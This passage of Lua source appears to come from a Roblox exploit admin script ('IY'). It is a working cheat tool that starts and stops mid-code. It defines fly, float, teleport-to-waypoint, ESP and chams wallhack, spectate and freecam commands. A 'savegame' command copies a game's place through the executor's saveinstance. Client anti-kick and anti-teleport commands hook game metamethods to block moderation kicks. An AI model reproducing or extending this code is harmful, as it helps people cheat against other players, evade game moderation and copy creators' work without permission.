CFrame.new(cameraPosition, Vector3.new(headPosition.X, cameraPosition.Y, headPosition.Z)):VectorToObjectSpace(moveDirection) Head.CFrame = CFrame.new(headPosition) * (cameraCFrame - cameraPosition) * CFrame.new(objectSpaceVelocity) end) end) addcmd('uncframefly',{'uncfly'},function(args, speaker) if CFloop then CFloop:Disconnect() speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false local Head = speaker.Character:WaitForChild("Head") Head.Anchored = false end end) addcmd('cframeflyspeed',{'cflyspeed'},function(args, speaker) if isNumber(args[1]) then CFspeed = args[1] end end) Floating = false floatName = randomString() addcmd('float', {'platform'},function(args, speaker) Floating = true local pchar = speaker.Character if pchar and not pchar:FindFirstChild(floatName) then task.spawn(function() local Float = Instance.new('Part') Float.Name = floatName Float.Parent = pchar Float.Transparency = 1 Float.Size = Vector3.new(2,0.2,1.5) Float.Anchored = true local FloatValue = -3.1 Float.CFrame = getRoot(pchar).CFrame * CFrame.new(0,FloatValue,0) notify('Float','Float Enabled (Q = down & E = up)') qUp = IYMouse.KeyUp:Connect(function(KEY) if KEY == 'q' then FloatValue = FloatValue + 0.5 end end) eUp = IYMouse.KeyUp:Connect(function(KEY) if KEY == 'e' then FloatValue = FloatValue - 1.5 end end) qDown = IYMouse.KeyDown:Connect(function(KEY) if KEY == 'q' then FloatValue = FloatValue - 0.5 end end) eDown = IYMouse.KeyDown:Connect(function(KEY) if KEY == 'e' then FloatValue = FloatValue + 1.5 end end) floatDied = speaker.Character:FindFirstChildOfClass('Humanoid').Died:Connect(function() FloatingFunc:Disconnect() Float:Destroy() qUp:Disconnect() eUp:Disconnect() qDown:Disconnect() eDown:Disconnect() floatDied:Disconnect() end) local function FloatPadLoop() if pchar:FindFirstChild(floatName) and getRoot(pchar) then Float.CFrame = getRoot(pchar).CFrame * CFrame.new(0,FloatValue,0) else FloatingFunc:Disconnect() Float:Destroy() qUp:Disconnect() eUp:Disconnect() qDown:Disconnect() eDown:Disconnect() floatDied:Disconnect() end end FloatingFunc = RunService.Heartbeat:Connect(FloatPadLoop) end) end end) addcmd('unfloat',{'nofloat','unplatform','noplatform'},function(args, speaker) Floating = false local pchar = speaker.Character notify('Float','Float Disabled') if pchar:FindFirstChild(floatName) then pchar:FindFirstChild(floatName):Destroy() end if floatDied then FloatingFunc:Disconnect() qUp:Disconnect() eUp:Disconnect() qDown:Disconnect() eDown:Disconnect() floatDied:Disconnect() end end) addcmd('togglefloat',{},function(args, speaker) if Floating then execCmd('unfloat') else execCmd('float') end end) swimming = false local oldgrav = workspace.Gravity local swimbeat = nil addcmd('swim',{},function(args, speaker) if not swimming and speaker and speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid") then oldgrav = workspace.Gravity workspace.Gravity = 0 local swimDied = function() workspace.Gravity = oldgrav swimming = false end local Humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") gravReset = Humanoid.Died:Connect(swimDied) local enums = Enum.HumanoidStateType:GetEnumItems() table.remove(enums, table.find(enums, Enum.HumanoidStateType.None)) for i, v in pairs(enums) do Humanoid:SetStateEnabled(v, false) end Humanoid:ChangeState(Enum.HumanoidStateType.Swimming) swimbeat = RunService.Heartbeat:Connect(function() pcall(function() speaker.Character.HumanoidRootPart.Velocity = ((Humanoid.MoveDirection ~= Vector3.new() or UserInputService:IsKeyDown(Enum.KeyCode.Space)) and speaker.Character.HumanoidRootPart.Velocity or Vector3.new()) end) end) swimming = true end end) addcmd('unswim',{'noswim'},function(args, speaker) if speaker and speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid") then workspace.Gravity = oldgrav swimming = false if gravReset then gravReset:Disconnect() end if swimbeat ~= nil then swimbeat:Disconnect() swimbeat = nil end local Humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") local enums = Enum.HumanoidStateType:GetEnumItems() table.remove(enums, table.find(enums, Enum.HumanoidStateType.None)) for i, v in pairs(enums) do Humanoid:SetStateEnabled(v, true) end end end) addcmd('toggleswim',{},function(args, speaker) if swimming then execCmd('unswim') else execCmd('swim') end end) addcmd('setwaypoint',{'swp','setwp','spos','saveposition','savepos'},function(args, speaker) local WPName = tostring(getstring(1)) if getRoot(speaker.Character) then notify('Modified Waypoints',"Created waypoint: "..getstring(1)) local torso = getRoot(speaker.Character) WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = PlaceId} if AllWaypoints ~= nil then AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = PlaceId} end end refreshwaypoints() updatesaves() end) addcmd('waypointpos',{'wpp','setwaypointposition','setpos','setwaypoint','setwaypointpos'},function(args, speaker) local WPName = tostring(getstring(1)) if getRoot(speaker.Character) then notify('Modified Waypoints',"Created waypoint: "..getstring(1)) WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = PlaceId} if AllWaypoints ~= nil then AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = PlaceId} end end refreshwaypoints() updatesaves() end) addcmd('waypoints',{'positions'},function(args, speaker) if SettingsOpen == false then SettingsOpen = true Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.5, true, nil) CMDsF.Visible = false end KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil) AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil) PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil) PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.5) SettingsHolder.Visible = false maximizeHolder() end) waypointParts = {} addcmd('showwaypoints',{'showwp','showwps'},function(args, speaker) execCmd('hidewaypoints') wait() for i,_ in pairs(WayPoints) do local x = WayPoints[i].COORD[1] local y = WayPoints[i].COORD[2] local z = WayPoints[i].COORD[3] local part = Instance.new("Part") part.Size = Vector3.new(5,5,5) part.CFrame = CFrame.new(x,y,z) part.Parent = workspace part.Anchored = true part.CanCollide = false table.insert(waypointParts,part) local view = Instance.new("BoxHandleAdornment") view.Adornee = part view.AlwaysOnTop = true view.ZIndex = 10 view.Size = part.Size view.Parent = part end for i,v in pairs(pWayPoints) do local view = Instance.new("BoxHandleAdornment") view.Adornee = pWayPoints[i].COORD[1] view.AlwaysOnTop = true view.ZIndex = 10 view.Size = pWayPoints[i].COORD[1].Size view.Parent = pWayPoints[i].COORD[1] table.insert(waypointParts,view) end end) addcmd('hidewaypoints',{'hidewp','hidewps'},function(args, speaker) for i,v in pairs(waypointParts) do v:Destroy() end waypointParts = {} end) addcmd('waypoint',{'wp','lpos','loadposition','loadpos'},function(args, speaker) local WPName = tostring(getstring(1)) if speaker.Character then for i,_ in pairs(WayPoints) do if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then local x = WayPoints[i].COORD[1] local y = WayPoints[i].COORD[2] local z = WayPoints[i].COORD[3] getRoot(speaker.Character).CFrame = CFrame.new(x,y,z) end end for i,_ in pairs(pWayPoints) do if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then getRoot(speaker.Character).CFrame = CFrame.new(pWayPoints[i].COORD[1].Position) end end end end) tweenSpeed = 1 addcmd('tweenspeed',{'tspeed'},function(args, speaker) local newSpeed = args[1] or 1 if tonumber(newSpeed) then tweenSpeed = tonumber(newSpeed) end end) addcmd('tweenwaypoint',{'twp'},function(args, speaker) local WPName = tostring(getstring(1)) if speaker.Character then for i,_ in pairs(WayPoints) do local x = WayPoints[i].COORD[1] local y = WayPoints[i].COORD[2] local z = WayPoints[i].COORD[3] if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(x,y,z)}):Play() end end for i,_ in pairs(pWayPoints) do if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(pWayPoints[i].COORD[1].Position)}):Play() end end end end) addcmd('walktowaypoint',{'wtwp'},function(args, speaker) local WPName = tostring(getstring(1)) if speaker.Character then for i,_ in pairs(WayPoints) do local x = WayPoints[i].COORD[1] local y = WayPoints[i].COORD[2] local z = WayPoints[i].COORD[3] if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end speaker.Character:FindFirstChildOfClass('Humanoid').WalkToPoint = Vector3.new(x,y,z) end end for i,_ in pairs(pWayPoints) do if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end speaker.Character:FindFirstChildOfClass('Humanoid').WalkToPoint = Vector3.new(pWayPoints[i].COORD[1].Position) end end end end) addcmd('deletewaypoint',{'dwp','dpos','deleteposition','deletepos'},function(args, speaker) for i,v in pairs(WayPoints) do if v.NAME:lower() == tostring(getstring(1)):lower() then notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME) table.remove(WayPoints, i) end end if AllWaypoints ~= nil and #AllWaypoints > 0 then for i,v in pairs(AllWaypoints) do if v.NAME:lower() == tostring(getstring(1)):lower() then if not v.GAME or v.GAME == PlaceId then table.remove(AllWaypoints, i) end end end end for i,v in pairs(pWayPoints) do if v.NAME:lower() == tostring(getstring(1)):lower() then notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME) table.remove(pWayPoints, i) end end refreshwaypoints() updatesaves() end) addcmd('clearwaypoints',{'cwp','clearpositions','cpos','clearpos'},function(args, speaker) WayPoints = {} pWayPoints = {} refreshwaypoints() updatesaves() AllWaypoints = {} notify('Modified Waypoints','Removed all waypoints') end) addcmd('cleargamewaypoints',{'cgamewp'},function(args, speaker) for i,v in pairs(WayPoints) do if v.GAME == PlaceId then table.remove(WayPoints, i) end end if AllWaypoints ~= nil and #AllWaypoints > 0 then for i,v in pairs(AllWaypoints) do if v.GAME == PlaceId then table.remove(AllWaypoints, i) end end end for i,v in pairs(pWayPoints) do if v.GAME == PlaceId then table.remove(pWayPoints, i) end end refreshwaypoints() updatesaves() notify('Modified Waypoints','Deleted game waypoints') end) local coreGuiTypeNames = { -- predefined aliases ["inventory"] = Enum.CoreGuiType.Backpack, ["leaderboard"] = Enum.CoreGuiType.PlayerList, ["emotes"] = Enum.CoreGuiType.EmotesMenu } -- Load the full list of enums for _, enumItem in ipairs(Enum.CoreGuiType:GetEnumItems()) do coreGuiTypeNames[enumItem.Name:lower()] = enumItem end addcmd('enable',{},function(args, speaker) local input = args[1] and args[1]:lower() if input then if input == "reset" then StarterGui:SetCore("ResetButtonCallback", true) else local coreGuiType = coreGuiTypeNames[input] if coreGuiType then StarterGui:SetCoreGuiEnabled(coreGuiType, true) end end end end) addcmd('disable',{},function(args, speaker) local input = args[1] and args[1]:lower() if input then if input == "reset" then StarterGui:SetCore("ResetButtonCallback", false) else local coreGuiType = coreGuiTypeNames[input] if coreGuiType then StarterGui:SetCoreGuiEnabled(coreGuiType, false) end end end end) local invisGUIS = {} addcmd('showguis',{},function(args, speaker) for i,v in pairs(PlayerGui:GetDescendants()) do if (v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame")) and not v.Visible then v.Visible = true if not FindInTable(invisGUIS,v) then table.insert(invisGUIS,v) end end end end) addcmd('unshowguis',{},function(args, speaker) for i,v in pairs(invisGUIS) do v.Visible = false end invisGUIS = {} end) local hiddenGUIS = {} addcmd('hideguis',{},function(args, speaker) for i,v in pairs(PlayerGui:GetDescendants()) do if (v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame")) and v.Visible then v.Visible = false if not FindInTable(hiddenGUIS,v) then table.insert(hiddenGUIS,v) end end end end) addcmd('unhideguis',{},function(args, speaker) for i,v in pairs(hiddenGUIS) do v.Visible = true end hiddenGUIS = {} end) function deleteGuisAtPos() pcall(function() local guisAtPosition = PlayerGui:GetGuiObjectsAtPosition(IYMouse.X, IYMouse.Y) for _, gui in pairs(guisAtPosition) do if gui.Visible == true then gui:Destroy() end end end) end local deleteGuiInput addcmd('guidelete',{},function(args, speaker) deleteGuiInput = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent) if not gameProcessedEvent then if input.KeyCode == Enum.KeyCode.Backspace then deleteGuisAtPos() end end end) notify('GUI Delete Enabled','Hover over a GUI and press backspace to delete it') end) addcmd('unguidelete',{'noguidelete'},function(args, speaker) if deleteGuiInput then deleteGuiInput:Disconnect() end notify('GUI Delete Disabled','GUI backspace delete has been disabled') end) local wasStayOpen = StayOpen addcmd('hideiy',{},function(args, speaker) isHidden = true wasStayOpen = StayOpen if StayOpen == true then StayOpen = false On.BackgroundTransparency = 1 end minimizeNum = 0 minimizeHolder() if not (args[1] and tostring(args[1]) == 'nonotify') then notify('IY Hidden','You can press the prefix key to access the command bar') end end) addcmd('showiy',{'unhideiy'},function(args, speaker) isHidden = false minimizeNum = -20 if wasStayOpen then maximizeHolder() StayOpen = true On.BackgroundTransparency = 0 else minimizeHolder() end end) addcmd('rec', {'record'}, function(args, speaker) return COREGUI:ToggleRecording() end) addcmd('screenshot', {'scrnshot'}, function(args, speaker) return COREGUI:TakeScreenshot() end) addcmd('togglefs', {'togglefullscreen'}, function(args, speaker) return GuiService:ToggleFullscreen() end) addcmd('inspect', {'examine'}, function(args, speaker) for _, v in ipairs(getPlayer(args[1], speaker)) do GuiService:CloseInspectMenu() GuiService:InspectPlayerFromUserId(Players[v].UserId) end end) addcmd("savegame", {"saveplace"}, function(args, speaker) if saveinstance then notify("Loading", "Downloading game. This will take a while") saveinstance() notify("Game Saved", "Saved place to the workspace folder within your exploit folder.") else notify("Incompatible Exploit", "Your exploit does not support this command (missing saveinstance)") end end) addcmd('clearerror',{'clearerrors'},function(args, speaker) GuiService:ClearError() end) addcmd('clientantikick',{'antikick'},function(args, speaker) if not hookmetamethod then return notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)') end local LocalPlayer = Players.LocalPlayer local oldhmmi local oldhmmnc local oldKickFunction if hookfunction then oldKickFunction = hookfunction(LocalPlayer.Kick, function() end) end oldhmmi = hookmetamethod(game, "__index", function(self, method) if self == LocalPlayer and method:lower() == "kick" then return error("Expected ':' not '.' calling member function Kick", 2) end return oldhmmi(self, method) end) oldhmmnc = hookmetamethod(game, "__namecall", function(self, ...) if self == LocalPlayer and getnamecallmethod():lower() == "kick" then return end return oldhmmnc(self, ...) end) notify('Client Antikick','Client anti kick is now active (only effective on localscript kick)') end) allow_rj = true addcmd('clientantiteleport',{'antiteleport'},function(args, speaker) if not hookmetamethod then return notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)') end local TeleportService = TeleportService local oldhmmi local oldhmmnc oldhmmi = hookmetamethod(game, "__index", function(self, method) if self == TeleportService then if method:lower() == "teleport" then return error("Expected ':' not '.' calling member function Kick", 2) elseif method == "TeleportToPlaceInstance" then return error("Expected ':' not '.' calling member function TeleportToPlaceInstance", 2) end end return oldhmmi(self, method) end) oldhmmnc = hookmetamethod(game, "__namecall", function(self, ...) if self == TeleportService and getnamecallmethod():lower() == "teleport" or getnamecallmethod() == "TeleportToPlaceInstance" then return end return oldhmmnc(self, ...) end) notify('Client AntiTP','Client anti teleport is now active (only effective on localscript teleport)') end) addcmd('allowrejoin',{'allowrj'},function(args, speaker) if args[1] and args[1] == 'false' then allow_rj = false notify('Client AntiTP','Allow rejoin set to false') else allow_rj = true notify('Client AntiTP','Allow rejoin set to true') end end) addcmd("cancelteleport", {"canceltp"}, function(args, speaker) TeleportService:TeleportCancel() end) addcmd("volume",{ "vol"}, function(args, speaker) UserSettings():GetService("UserGameSettings").MasterVolume = args[1]/10 end) addcmd("antilag", {"boostfps", "lowgraphics"}, function(args, speaker) local Terrain = workspace:FindFirstChildWhichIsA("Terrain") Terrain.WaterWaveSize = 0 Terrain.WaterWaveSpeed = 0 Terrain.WaterReflectance = 0 Terrain.WaterTransparency = 1 Lighting.GlobalShadows = false Lighting.FogEnd = 9e9 Lighting.FogStart = 9e9 settings().Rendering.QualityLevel = 1 for _, v in pairs(game:GetDescendants()) do if v:IsA("BasePart") then v.CastShadow = false v.Material = "Plastic" v.Reflectance = 0 v.BackSurface = "SmoothNoOutlines" v.BottomSurface = "SmoothNoOutlines" v.FrontSurface = "SmoothNoOutlines" v.LeftSurface = "SmoothNoOutlines" v.RightSurface = "SmoothNoOutlines" v.TopSurface = "SmoothNoOutlines" elseif v:IsA("Decal") then v.Transparency = 1 v.Texture = "" elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then v.Lifetime = NumberRange.new(0) end end for _, v in pairs(Lighting:GetDescendants()) do if v:IsA("PostEffect") then v.Enabled = false end end workspace.DescendantAdded:Connect(function(child) task.spawn(function() if child:IsA("ForceField") or child:IsA("Sparkles") or child:IsA("Smoke") or child:IsA("Fire") or child:IsA("Beam") then RunService.Heartbeat:Wait() child:Destroy() elseif child:IsA("BasePart") then child.CastShadow = false end end) end) end) addcmd("setfpscap", {"fpscap", "maxfps"}, function(args, speaker) if fpscaploop then task.cancel(fpscaploop) fpscaploop = nil end local fpsCap = 60 local num = tonumber(args[1]) or 1e6 if num == "none" then return elseif num > 0 then fpsCap = num else return notify("Invalid argument", "Please provide a number above 0 or 'none'.") end if setfpscap and type(setfpscap) == "function" then setfpscap(fpsCap) else fpscaploop = task.spawn(function() local timer = os.clock() while true do if os.clock() >= timer + 1 / fpsCap then timer = os.clock() task.wait() end end end) end end) addcmd('notify',{},function(args, speaker) notify(getstring(1)) end) addcmd('lastcommand',{'lastcmd'},function(args, speaker) if cmdHistory[1]:sub(1,11) ~= 'lastcommand' and cmdHistory[1]:sub(1,7) ~= 'lastcmd' then execCmd(cmdHistory[1]) end end) addcmd('esp',{},function(args, speaker) if not CHMSenabled then ESPenabled = true for i,v in pairs(Players:GetPlayers()) do if v.Name ~= speaker.Name then ESP(v) end end else notify('ESP','Disable chams (nochams) before using esp') end end) addcmd('espteam',{},function(args, speaker) if not CHMSenabled then ESPenabled = true for i,v in pairs(Players:GetPlayers()) do if v.Name ~= speaker.Name then ESP(v, true) end end else notify('ESP','Disable chams (nochams) before using esp') end end) addcmd('noesp',{'unesp','unespteam'},function(args, speaker) ESPenabled = false for i,c in pairs(COREGUI:GetChildren()) do if string.sub(c.Name, -4) == '_ESP' then c:Destroy() end end end) addcmd('esptransparency',{},function(args, speaker) espTransparency = (args[1] and isNumber(args[1]) and args[1]) or 0.3 updatesaves() end) local espParts = {} local partEspTrigger = nil function partAdded(part) if #espParts > 0 then if FindInTable(espParts,part.Name:lower()) then local a = Instance.new("BoxHandleAdornment") a.Name = part.Name:lower().."_PESP" a.Parent = part a.Adornee = part a.AlwaysOnTop = true a.ZIndex = 0 a.Size = part.Size a.Transparency = espTransparency a.Color = BrickColor.new("Lime green") end else partEspTrigger:Disconnect() partEspTrigger = nil end end addcmd('partesp',{},function(args, speaker) local partEspName = getstring(1):lower() if not FindInTable(espParts,partEspName) then table.insert(espParts,partEspName) for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") and v.Name:lower() == partEspName then local a = Instance.new("BoxHandleAdornment") a.Name = partEspName.."_PESP" a.Parent = v a.Adornee = v a.AlwaysOnTop = true a.ZIndex = 0 a.Size = v.Size a.Transparency = espTransparency a.Color = BrickColor.new("Lime green") end end end if partEspTrigger == nil then partEspTrigger = workspace.DescendantAdded:Connect(partAdded) end end) addcmd('unpartesp',{'nopartesp'},function(args, speaker) if args[1] then local partEspName = getstring(1):lower() if FindInTable(espParts,partEspName) then table.remove(espParts, GetInTable(espParts, partEspName)) end for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BoxHandleAdornment") and v.Name == partEspName..'_PESP' then v:Destroy() end end else partEspTrigger:Disconnect() partEspTrigger = nil espParts = {} for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BoxHandleAdornment") and v.Name:sub(-5) == '_PESP' then v:Destroy() end end end end) addcmd('chams',{},function(args, speaker) if not ESPenabled then CHMSenabled = true for i,v in pairs(Players:GetPlayers()) do if v.Name ~= speaker.Name then CHMS(v) end end else notify('Chams','Disable ESP (noesp) before using chams') end end) addcmd('nochams',{'unchams'},function(args, speaker) CHMSenabled = false for i,v in pairs(Players:GetPlayers()) do local chmsplr = v for i,c in pairs(COREGUI:GetChildren()) do if c.Name == chmsplr.Name..'_CHMS' then c:Destroy() end end end end) addcmd('locate',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do Locate(Players[v]) end end) addcmd('nolocate',{'unlocate'},function(args, speaker) local players = getPlayer(args[1], speaker) if args[1] then for i,v in pairs(players) do for i,c in pairs(COREGUI:GetChildren()) do if c.Name == Players[v].Name..'_LC' then c:Destroy() end end end else for i,c in pairs(COREGUI:GetChildren()) do if string.sub(c.Name, -3) == '_LC' then c:Destroy() end end end end) viewing = nil addcmd('view',{'spectate'},function(args, speaker) StopFreecam() local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if viewDied then viewDied:Disconnect() viewChanged:Disconnect() end viewing = Players[v] workspace.CurrentCamera.CameraSubject = viewing.Character notify('Spectate','Viewing ' .. Players[v].Name) local function viewDiedFunc() repeat wait() until Players[v].Character ~= nil and getRoot(Players[v].Character) workspace.CurrentCamera.CameraSubject = viewing.Character end viewDied = Players[v].CharacterAdded:Connect(viewDiedFunc) local function viewChangedFunc() workspace.CurrentCamera.CameraSubject = viewing.Character end viewChanged = workspace.CurrentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(viewChangedFunc) end end) addcmd('viewpart',{'viewp'},function(args, speaker) StopFreecam() if args[1] then for i,v in pairs(workspace:GetDescendants()) do if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then wait(0.1) workspace.CurrentCamera.CameraSubject = v end end end end) addcmd('unview',{'unspectate'},function(args, speaker) StopFreecam() if viewing ~= nil then viewing = nil notify('Spectate','View turned off') end if viewDied then viewDied:Disconnect() viewChanged:Disconnect() end workspace.CurrentCamera.CameraSubject = speaker.Character end) fcRunning = false local Camera = workspace.CurrentCamera workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() local newCamera = workspace.CurrentCamera if newCamera then Camera = newCamera end end) local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value Spring = {} do Spring.__index = Spring function Spring.new(freq, pos) local self = setmetatable({}, Spring) self.f = freq self.p = pos self.v = pos*0 return self end function Spring:Update(dt, goal) local f = self.f*2*math.pi local p0 = self.p local v0 = self.v local offset = goal - p0 local decay = math.exp(-f*dt) local p1 = goal + (v0*dt - offset*(f*dt + 1))*decay local v1 = (f*dt*(offset*f - v0) + v0)*decay self.p = p1 self.v = v1 return p1 end function Spring:Reset(pos) self.p = pos self.v = pos*0 end end local cameraPos = Vector3.new() local cameraRot = Vector2.new() local velSpring = Spring.new(5, Vector3.new()) local panSpring = Spring.new(5, Vector2.new()) Input = {} do keyboard = { W = 0, A = 0, S = 0, D = 0, E = 0, Q = 0, Up = 0, Down = 0, LeftShift = 0, } mouse = { Delta = Vector2.new(), } NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1) PAN_MOUSE_SPEED = Vector2.new(1, 1)*(math.pi/64) NAV_ADJ_SPEED = 0.75 NAV_SHIFT_MUL = 0.25 navSpeed = 1 function Input.Vel(dt) navSpeed = math.clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4) local kKeyboard = Vector3.new( keyboard.D - keyboard.A, keyboard.E - keyboard.Q, keyboard.S - keyboard.W )*NAV_KEYBOARD_SPEED local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) return (kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1)) end function Input.Pan(dt) local kMouse = mouse.Delta*PAN_MOUSE_SPEED mouse.Delta = Vector2.new() return kMouse end do function Keypress(action, state, input) keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 return Enum.ContextActionResult.Sink end function MousePan(action, state, input) local delta = input.Delta mouse.Delta = Vector2.new(-delta.y, -delta.x) return Enum.ContextActionResult.Sink end function Zero(t) for k, v in pairs(t) do t[k] = v*0 end end function Input.StartCapture() ContextActionService:BindActionAtPriority("FreecamKeyboard",Keypress,false,INPUT_PRIORITY, Enum.KeyCode.W, Enum.KeyCode.A, Enum.KeyCode.S, Enum.KeyCode.D, Enum.KeyCode.E, Enum.KeyCode.Q, Enum.KeyCode.Up, Enum.KeyCode.Down ) ContextActionService:BindActionAtPriority("FreecamMousePan",MousePan,false,INPUT_PRIORITY,Enum.UserInputType.MouseMovement) end function Input.StopCapture() navSpeed = 1 Zero(keyboard) Zero(mouse) ContextActionService:UnbindAction("FreecamKeyboard") ContextActionService:UnbindAction("FreecamMousePan") end end end function GetFocusDistance(cameraFrame) local znear = 0.1 local viewport = Camera.ViewportSize local projy = 2*math.tan(cameraFov/2) local projx = viewport.x/viewport.y*projy local fx = cameraFrame.rightVector local fy = cameraFrame.upVector local fz = cameraFrame.lookVector local minVect = Vector3.new() local minDist = 512 for x = 0, 1, 0.5 do for y = 0, 1, 0.5 do local cx = (x - 0.5)*projx local cy = (y - 0.5)*projy local offset = fx*cx - fy*cy + fz local origin = cameraFrame.p + offset*znear local _, hit = workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist)) local dist = (hit - origin).magnitude if minDist > dist then minDist = dist minVect = offset.unit end end end return fz:Dot(minVect)*minDist end local function StepFreecam(dt) local vel = velSpring:Update(dt, Input.Vel(dt)) local pan = panSpring:Update(dt, Input.Pan(dt)) local zoomFactor = math.sqrt(math.tan(math.rad(70/2))/math.tan(math.rad(cameraFov/2))) cameraRot = cameraRot + pan*Vector2.new(0.75, 1)*8*(dt/zoomFactor) cameraRot = Vector2.new(math.clamp(cameraRot.x, -math.rad(90), math.rad(90)), cameraRot.y%(2*math.pi)) local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*Vector3.new(1, 1, 1)*64*dt) cameraPos = cameraCFrame.p Camera.CFrame = cameraCFrame Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame)) Camera.FieldOfView = cameraFov end local PlayerState = {} do mouseBehavior = "" mouseIconEnabled = "" cameraType = "" cameraFocus = "" cameraCFrame = "" cameraFieldOfView = "" function PlayerState.Push() cameraFieldOfView = Camera.FieldOfView Camera.FieldOfView = 70 cameraType = Camera.CameraType Camera.CameraType = Enum.CameraType.Custom cameraCFrame = Camera.CFrame cameraFocus = Camera.Focus mouseIconEnabled = UserInputService.MouseIconEnabled UserInputService.MouseIconEnabled = true mouseBehavior = UserInputService.MouseBehavior UserInputService.MouseBehavior = Enum.MouseBehavior.Default end function PlayerState.Pop() Camera.FieldOfView = 70 Camera.CameraType = cameraType cameraType = nil Camera.CFrame = cameraCFrame cameraCFrame = nil Camera.Focus = cameraFocus cameraFocus = nil UserInputService.MouseIconEnabled = mouseIconEnabled mouseIconEnabled = nil UserInputService.MouseBehavior = mouseBehavior mouseBehavior = nil end end function StartFreecam(pos) if fcRunning then StopFreecam() end local cameraCFrame = Camera.CFrame if pos then cameraCFrame = pos end cameraRot = Vector2.new() cameraPos = cameraCFrame.p cameraFov = Camera.FieldOfView velSpring:Reset(Vector3.new()) panSpring:Reset(Vector2.new()) PlayerState.Push() RunService:BindToRenderStep("Freecam", Enum.RenderPriority.Camera.Value, StepFreecam) Input.StartCapture() fcRunning = true end function StopFreecam() if not fcRunning then return end Input.StopCapture() RunService:UnbindFromRenderStep("Freecam") PlayerState.Pop() workspace.Camera.FieldOfView = 70 fcRunning = false end addcmd('freecam',{'fc'},function(args, speaker) StartFreecam() end) addcmd('freecampos',{'fcpos','fcp','freecamposition','fcposition'},function(args, speaker) if not args[1] then return end local freecamPos = CFrame.new(args[1],args[2],args[3]) StartFreecam(freecamPos) end) addcmd('freecamwaypoint',{'fcwp'},function(args, speaker) local WPName = tostring(getstring(1)) if speaker.Character then for i,_ in pairs(WayPoints) do local x = WayPoints[i].COORD[1] local y = WayPoints[i].COORD[2] local z = WayPoints[i].COORD[3] if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then StartFreecam(CFrame.new(x,y,z)) end end for i,_ in pairs(pWayPoints) do if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then StartFreecam(CFrame.new(pWayPoints[i].COORD[1].Position)) end end end end) addcmd('freecamgoto',{'fcgoto','freecamtp','fctp'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do StartFreecam(getRoot(Players[v].Character).CFrame) end end) addcmd('unfreecam',{'nofreecam','unfc','nofc'},function(args, speaker) StopFreecam() end) addcmd('freecamspeed',{'fcspeed'},function(args, speaker) local FCspeed = args[1] or 1 if isNumber(FCspeed) then NAV_KEYBOARD_SPEED = Vector3.new(FCspeed, FCspeed, FCspeed) end end) addcmd('notifyfreecamposition',{'notifyfcpos'},function(args, speaker) if fcRunning then local X,Y,Z = 